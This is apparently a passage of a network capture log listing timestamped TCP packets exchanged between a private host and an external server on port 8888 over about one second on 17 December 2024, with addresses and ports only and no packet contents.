Dec 17, 2024 15:11:15.918947935 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.918998957 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.930432081 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.930468082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.930517912 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.941919088 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.941975117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.942008972 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.942029953 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.953476906 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.953530073 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.953540087 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.965010881 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.965049982 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.965090036 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.976685047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.976757050 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.997355938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.997401953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.997456074 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.006537914 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.006580114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.006635904 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.015825987 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.015870094 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.015904903 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.015922070 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.024991035 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.025031090 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.025068045 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.034208059 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.034245968 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.034285069 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.043450117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.043486118 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.043531895 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.052705050 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.052746058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.052767992 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.052781105 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.052855968 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.061867952 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.061903954 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.062057018 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.071178913 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.071214914 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.071278095 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.080473900 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.080540895 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.080594063 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.089566946 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.089603901 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.089654922 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.098793983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.098830938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.098864079 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.098994017 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.108256102 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.108313084 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.108330965 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.117221117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.117258072 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.117279053 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.126427889 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.126465082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.126487017 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.135670900 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.135705948 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.135730028 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.135740042 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.135787964 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.144893885 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.144928932 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.144985914 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.153956890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.153995037 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.154048920 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.163156033 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.163176060 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.163224936 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.171945095 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.171966076 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.172043085 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.180583954 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.180597067 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.180608034 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.180649042 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.189153910 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.189189911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.189218998 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.197607040 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.197628021 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.197679043 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.206075907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.206091881 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.206156969 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.214289904 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.214306116 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.214317083 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.214361906 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.214380980 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.222486973 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.222500086 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.222568035 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.230417013 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.230428934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.230485916 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.238420010 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.246248960 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.246265888 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.246275902 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.246339083 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.246376991 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.253885031 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.253900051 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.253962994 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.261464119 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.261477947 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.261557102 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.268953085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.268966913 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.269026041 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.276349068 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.276361942 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.276408911 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.283806086 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.283840895 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.283853054 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.283910036 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.291260958 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.291274071 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.291337013 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.298729897 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.298743010 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.298798084 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.306158066 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.306169987 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.306230068 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.313613892 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.313627005 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.313636065 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.313682079 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.313728094 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.321074009 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.321085930 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.321140051 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.328423023 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.328434944 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.328502893 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.335849047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.335866928 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.335931063 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.343128920 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.343146086 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.343245029 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.350394011 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.350408077 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.350419044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.350501060 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.357681036 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.357702017 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.357875109 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.364830971 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.364845037 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.364897966 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.371927977 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.371942043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.371984959 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.379044056 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.379059076 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.379070044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.379105091 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.379142046 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.386199951 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.386219978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.386274099 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.393088102 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.393112898 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.393152952 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.400001049 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.400013924 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.400067091 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.406780958 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.406821012 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.406877995 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.413631916 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.413650990 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.413662910 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.413707972 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.420296907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.420363903 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.420368910 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.426898003 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.426912069 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.426973104 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.433480978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.433492899 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.433538914 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.439877987 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.439889908 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.439899921 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.439934969 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.439965963 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.446333885 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.446355104 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.446439028 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.452649117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.452802896 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.452851057 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.459038973 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.459059000 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.459127903 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.465341091 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.465368986 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.465426922 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.471594095 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.471616983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.471627951 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.471672058 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.477883101 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.477895975 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.477951050 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.483958006 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.483969927 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.484030008 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.490184069 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.490196943 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.490257025 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.496161938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.496195078 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.496205091 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.496221066 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.496242046 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.502217054 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.502254963 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.502320051 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.508296967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.508321047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.508394957 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.514328957 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.514343023 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.514400959 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.520534039 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.520589113 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.520657063 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.526334047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.526387930 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.526426077 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.526446104 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.532290936 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.532345057 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.532362938 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.538038969 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.538085938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.538101912 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.543967962 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.544008017 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.544028044 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.549834967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.549873114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.549899101 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.555644989 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.555682898 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.555716991 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.555733919 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.555777073 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.561513901 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.561557055 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.561616898 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.567183018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.570080042 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.570116997 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.570147991 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.575835943 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.575875044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.575908899 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.581511974 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.581549883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.581573963 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.581583977 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.581631899 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.587111950 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.587203026 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.587260962 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.592817068 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.592869043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.592928886 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.598395109 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.598453999 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.598505020 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.603889942 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.603913069 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.603929043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.603961945 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.609345913 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.609369040 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.609410048 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.614784956 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.614809036 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.614856005 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.620229006 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.620250940 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.620286942 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.625679016 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.625701904 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.625745058 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.631649971 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.631669044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.631697893 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.631720066 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.631758928 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.636342049 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.636384964 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.636430979 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.641630888 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.641652107 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.641702890 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.646955967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.646980047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.647048950 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.652234077 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.652256966 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.652271986 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.652318001 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.657434940 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.657455921 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.657496929 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.662383080 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.662403107 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.662442923 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:16.667481899 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.667503119 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:16.667551041 CET	49709	8888	192.168.2.5	193.143.1.231
